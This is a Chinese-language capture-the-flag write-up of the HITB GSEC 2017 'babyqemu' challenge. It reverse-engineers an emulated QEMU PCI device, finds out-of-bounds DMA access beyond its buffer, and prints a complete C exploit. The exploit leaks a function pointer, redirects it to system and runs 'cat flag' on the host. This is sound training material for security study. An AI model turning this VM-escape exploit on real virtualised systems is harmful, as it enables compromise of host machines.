题目下载地址:babyqemu.tar.gz

分析

tar xvzf babyqemu.tar.gz解压看到启动脚本launch.sh

1
2
3
4
5
6
7
8
9
10
#! /bin/sh
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \ # 需要CPU virtualization,现在与hyper-v共存的VMware不支持此选项。可以删掉
-monitor /dev/null \
-m 64M --nographic -L ./dependency/usr/local/share/qemu \
-L pc-bios \
-device hitb,id=vda

在最后一行可以看到设备名称为hitb,在ida左侧Functions window,ctrl+f搜索hitb就可以找到相关函数。通过在ida的Local Types窗口搜索hitb可以找到HitbState结构体,其中还包含dma_state结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
00000000 HitbState       struc ; (sizeof=0x1BD0, align=0x10, copyof_1495)
00000000 pdev PCIDevice_0 ?
000009F0 mmio MemoryRegion_0 ?
00000AF0 thread QemuThread_0 ?
00000AF8 thr_mutex QemuMutex_0 ?
00000B20 thr_cond QemuCond_0 ?
00000B50 stopping db ?
00000B51 db ? ; undefined
00000B52 db ? ; undefined
00000B53 db ? ; undefined
00000B54 addr4 dd ?
00000B58 fact dd ?
00000B5C status dd ?
00000B60 irq_status dd ?
00000B64 db ? ; undefined
00000B65 db ? ; undefined
00000B66 db ? ; undefined
00000B67 db ? ; undefined
00000B68 dma dma_state ?
00000B88 dma_timer QEMUTimer_0 ?
00000BB8 dma_buf db 4096 dup(?)
00001BB8 enc dq ? ; offset
00001BC0 dma_mask dq ?
00001BC8 db ? ; undefined
00001BC9 db ? ; undefined
00001BCA db ? ; undefined
00001BCB db ? ; undefined
00001BCC db ? ; undefined
00001BCD db ? ; undefined
00001BCE db ? ; undefined
00001BCF db ? ; undefined
00001BD0 HitbState ends
00001BD0
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 dma_state struc ; (sizeof=0x20, align=0x8, copyof_1493)
00000000 ; XREF: HitbState/r
00000000 src dq ?
00000008 dst dq ?
00000010 cnt dq ?
00000018 cmd dq ?
00000020 dma_state ends

通过查看hitb_class_init函数找到vendor_id和device_id。在虚拟机里面查看具体信息。(这个busybox+kernel的虚拟机中的lspci指令比常规少一些选项,不像前一个题目STRNG中是一个完整的ubuntu发行版)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ lspci --help
BusyBox v1.26.2 (2017-05-26 14:27:34 CST) multi-call binary.

Usage: lspci [-mk]

List all PCI devices

-m Parsable output
-k Show driver
$ lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2333
$ cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fea00000 0x00000000feafffff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

pci_hitb_realize函数中观察到使用timer_init_tl初始化了一个timer时钟,和通过memory_region_init_io初始化了MMIO。

MMIO的hitb_mmio_read函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
uint64_t __fastcall hitb_mmio_read(HitbState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
uint64_t val; // [rsp+0h] [rbp-20h]

result = -1LL;
if ( size == 4 )
{
if ( addr == 0x80 )
return opaque->dma.src;
if ( addr > 0x80 )
{
if ( addr == 0x8C )
return *(dma_addr_t *)((char *)&opaque->dma.dst + 4);
if ( addr <= 0x8C )
{
if ( addr == 0x84 )
return *(dma_addr_t *)((char *)&opaque->dma.src + 4);
if ( addr == 0x88 )
return opaque->dma.dst;
}
else
{
if ( addr == 0x90 )
return opaque->dma.cnt;
if ( addr == 0x98 )
return opaque->dma.cmd;
}
}
else
{
if ( addr == 8 )
{
qemu_mutex_lock(&opaque->thr_mutex);
val = opaque->fact;
qemu_mutex_unlock(&opaque->thr_mutex);
return val;
}
if ( addr <= 8 )
{
result = 0x10000EDLL;
if ( !addr )
return result;
if ( addr == 4 )
return opaque->addr4;
}
else
{
if ( addr == 0x20 )
return opaque->status;
if ( addr == 0x24 )
return opaque->irq_status;
}
}
result = -1LL;
}
return result;
}
  1. addr == 0x80 ——> 读取dma.src
  2. addr == 0x84 ——> 读取dma.src高地址处4字节
  3. addr == 0x88 ——> 读取dma.dst
  4. addr == 0x8c ——> 读取dma.dst高地址处4字节
  5. addr == 0x90 ——> 读取dma.cnt
  6. addr == 0x98 ——> 读取dma.cmd

MMIO的hitb_mmio_write函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t v4; // er13
int v5; // edx
bool v6; // zf
int64_t v7; // rax

// !((size - 4) & 0xFFFFFFFB) 等价于测试size第4bit是否为1并且低3bit是否为0
if ( (addr > 0x7F || size == 4) && (!((size - 4) & 0xFFFFFFFB) || addr <= 0x7F) )
{
if ( addr == 0x80 ) // 设置dma.src
{
if ( !(opaque->dma.cmd & 1) )
opaque->dma.src = val;
}
else
{
v4 = val;
if ( addr > 0x80 )
{
if ( addr == 0x8C )
{
if ( !(opaque->dma.cmd & 1) )
*(dma_addr_t *)((char *)&opaque->dma.dst + 4) = val;
}
else if ( addr > 0x8C )
{
if ( addr == 0x90 ) // 设置dma.cnt
{
if ( !(opaque->dma.cmd & 1) )
opaque->dma.cnt = val;
}
else if ( addr == 0x98 && val & 1 && !(opaque->dma.cmd & 1) ) // 设置dma.cmd
{
opaque->dma.cmd = val;
v7 = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);
timer_mod(&opaque->dma_timer, v7 / 1000000 + 100);
}
}
else if ( addr == 0x84 )
{
if ( !(opaque->dma.cmd & 1) )
*(dma_addr_t *)((char *)&opaque->dma.src + 4) = val;
}
else if ( addr == 0x88 && !(opaque->dma.cmd & 1) ) // 设置dma.dst
{
opaque->dma.dst = val;
}
}
else if ( addr == 32 )
{
if ( val & 0x80 )
_InterlockedOr((volatile signed __int32 *)&opaque->status, 0x80u);
else
_InterlockedAnd((volatile signed __int32 *)&opaque->status, 0xFFFFFF7F);
}
else if ( addr > 0x20 )
{
if ( addr == 96 )
{
v6 = ((unsigned int)val | opaque->irq_status) == 0;
opaque->irq_status |= val;
if ( !v6 )
hitb_raise_irq(opaque, 0x60u);
}
else if ( addr == 100 )
{
v5 = ~(_DWORD)val;
v6 = (v5 & opaque->irq_status) == 0;
opaque->irq_status &= v5;
if ( v6 && !msi_enabled(&opaque->pdev) )
pci_set_irq(&opaque->pdev, 0);
}
}
else if ( addr == 4 )
{
opaque->addr4 = ~(_DWORD)val;
}
else if ( addr == 8 && !(opaque->status & 1) )
{
qemu_mutex_lock(&opaque->thr_mutex);
opaque->fact = v4;
_InterlockedOr((volatile signed __int32 *)&opaque->status, 1u);
qemu_cond_signal(&opaque->thr_cond);
qemu_mutex_unlock(&opaque->thr_mutex);
}
}
}
}
  1. addr==0x80 && dma.cmd&1==0 —–> 设置dma.src

  2. addr==0x84 && dma.cmd&1==0 —–> 设置dma.src高地址处的4byte。

    (指向无定义空间,从上面dms_state的定义可以看出,其中的成员8字节对齐

  3. addr==0x88 && dma.cmd&1==0 —–> 设置dma.dst

  4. addr==0x8c && dma.cmd&1==0 —–> 同上

  5. addr==0x90 && dma.cmd&1==0 —–> 设置dma.cnt

  6. addr==0x98 && dma.cmd&1==0 —–> 设置dma.cmd,最低位需为1。同时timer_mod启动定时器,会触发hitb_dma_timer

hitb_dma_timer函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void __fastcall hitb_dma_timer(HitbState *opaque)
{
dma_addr_t cmd; // rax
__int64 idx; // rdx
uint8_t *addr; // rsi
dma_addr_t v4; // rax
dma_addr_t v5; // rdx
char *v6; // rbp
char *data; // rbp

cmd = opaque->dma.cmd;
if ( cmd & 1 )
{
if ( cmd & 2 )
{
idx = (unsigned int)(LODWORD(opaque->dma.src) - 0x40000);
if ( cmd & 4 )
{
data = &opaque->dma_buf[idx];
opaque->enc(data, opaque->dma.cnt);
addr = (uint8_t *)data;
}
else
{
addr = (uint8_t *)&opaque->dma_buf[idx];
}
cpu_physical_memory_rw(opaque->dma.dst, addr, opaque->dma.cnt, 1);
v4 = opaque->dma.cmd;
v5 = opaque->dma.cmd & 4;
}
else
{
// 这里的反编译很崎岖,但是看反汇编还是可以看出来和读的操作是一致的
// 即:addr-0x40000作为idx,索引dma_buf
v6 = &opaque[0xFFFFFFDBLL].dma_buf[(unsigned int)opaque->dma.dst + 0x510];
LODWORD(addr) = (_DWORD)opaque + opaque->dma.dst - 0x40000 + 0xBB8;
cpu_physical_memory_rw(opaque->dma.src, (uint8_t *)v6, opaque->dma.cnt, 0);
v4 = opaque->dma.cmd;
v5 = opaque->dma.cmd & 4;
if ( opaque->dma.cmd & 4 )
{
addr = (uint8_t *)LODWORD(opaque->dma.cnt);
((void (__fastcall *)(char *, uint8_t *, dma_addr_t))opaque->enc)(v6, addr, v5);
v4 = opaque->dma.cmd;
v5 = opaque->dma.cmd & 4;
}
}
opaque->dma.cmd = v4 & 0xFFFFFFFFFFFFFFFELL; // 把最低bit清掉了。又可以再次写入了
if ( v5 )
{
opaque->irq_status |= 0x100u;
hitb_raise_irq(opaque, (uint32_t)addr);
}
}
}

cmd的bit含义

  1. bit1 —–> 是否为合规cmd(推测
  2. bit2 —–> dma.dst向dma.src拷贝,还是相反方向
  3. bit3 —–> 是否使用enc函数加密

cpu_physical_memory_rw函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// qemu-5.1.0/exec.c
MemTxResult address_space_rw(AddressSpace *as, hwaddr addr, MemTxAttrs attrs,
void *buf, hwaddr len, bool is_write)
{
if (is_write) {
return address_space_write(as, addr, attrs, buf, len);
} else {
return address_space_read_full(as, addr, attrs, buf, len);
}
}

void cpu_physical_memory_rw(hwaddr addr, void *buf,
hwaddr len, bool is_write)
{
address_space_rw(&address_space_memory, addr, MEMTXATTRS_UNSPECIFIED,
buf, len, is_write);
}

is_write==1: 从buf读取len,写入物理地址addr。

is_write==0: 从物理地址addr读取,写入buf。

漏洞点

在DMA的read和write中存在越界。

exploit

HitbState可以看出,成员dma_buf后方紧跟enc函数指针。

读取enc的函数地址,通过偏移得到system@plt.got的地址,写入到enc

写入cat flag字符串,使enc以这个字符串来调用。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>
#include <assert.h>

#define PAGE_SHIFT 12
#define DMA_BASE 0x40000

uint8_t *iomem;
uint8_t *dmabuf;
uint64_t dmabuf_phys_addr;

void die(const char *msg)
{
perror(msg);
exit(-1);
}

uint64_t virt2phys(void *p)
{
uint64_t virt = (uint64_t)p;
assert((virt&0xfff) == 0);

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1) {
die("open2");
}

uint64_t offset = virt >> (PAGE_SHIFT-3);
lseek(fd, offset, SEEK_SET);

uint64_t phys;
if (read(fd, &phys, 8) != 8) {
die("read");
}

assert(phys & (1ULL << 63));

phys = (phys & ((1ULL << 54) - 1)) << PAGE_SHIFT;
return phys;
}

void iowrite(uint64_t addr, uint64_t value)
{
*((uint64_t *)(iomem + addr)) = value;
}

uint64_t ioread(uint64_t addr)
{
return *((uint64_t *)(iomem + addr));
}

void dma_setsrc(uint32_t src)
{
iowrite(0x80, src);
}

void dma_setdst(uint32_t dst)
{
iowrite(0x88, dst);
}

void dma_setcnt(uint32_t cnt)
{
iowrite(0x90, cnt);
}

void dma_setcmd(uint32_t cmd)
{
iowrite(0x98, cmd);
}

void dma_read(uint64_t addr, size_t len)
{
dma_setsrc(addr);
dma_setdst(dmabuf_phys_addr);
dma_setcnt(len);
dma_setcmd(0x3);
sleep(1);
}

void dma_write(uint64_t addr, void *buf, size_t len)
{
memcpy(dmabuf, buf, len);

dma_setsrc(dmabuf_phys_addr);
dma_setdst(addr);
dma_setcnt(len);
dma_setcmd(0x1);
sleep(1);
}

void dma_enc_read(uint64_t addr, size_t len)
{
dma_setsrc(addr);
dma_setdst(dmabuf_phys_addr);
dma_setcnt(len);
dma_setcmd(0x7);
sleep(1);
}

int main(int argc, char *argv[])
{
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
if (fd == -1) {
die("open");
}

iomem = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (iomem == MAP_FAILED) {
die("mmap");
}
printf("iomem @ %p\n", iomem);

dmabuf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED) {
die("mmap2");
}

// lock part or all of the calling process's virtual address space
// into RAM, preventing that memory from being paged to the swap area.
mlock(dmabuf, 0x1000);
dmabuf_phys_addr = virt2phys(dmabuf);
printf("dmabuff @ %p\n", dmabuf);
printf("dmabuff(phys) @ %p\n", (void *)dmabuf_phys_addr);
fflush(stdout);

// leak hitb_enc address
dma_read(DMA_BASE+0x1000, 8);
uint64_t hitb_enc = *((uint64_t *)dmabuf);

// calculate the system plt.got address
uint64_t elf_base = hitb_enc - 0x283DD0;
uint64_t system_pltgot = elf_base + 0x1FDB18;
printf("system@plt.got @ 0x%lx\n", system_pltgot);

dma_write(DMA_BASE+0x1000, &system_pltgot, 8);
char *payload = "cat flag";
dma_write(DMA_BASE+0x100, payload, strlen(payload));

dma_enc_read(DMA_BASE+0x100, 0x4);
return 0;
}

参考

  1. HITB GSEC 2017: babyqemu
  2. [Sakura_University/外卡赛/HITB GSEC 2017 at master · tina2114/Sakura_University ](https://github.com/tina2114/Sakura_University/tree/master/外卡赛/HITB GSEC 2017) zhz师傅tql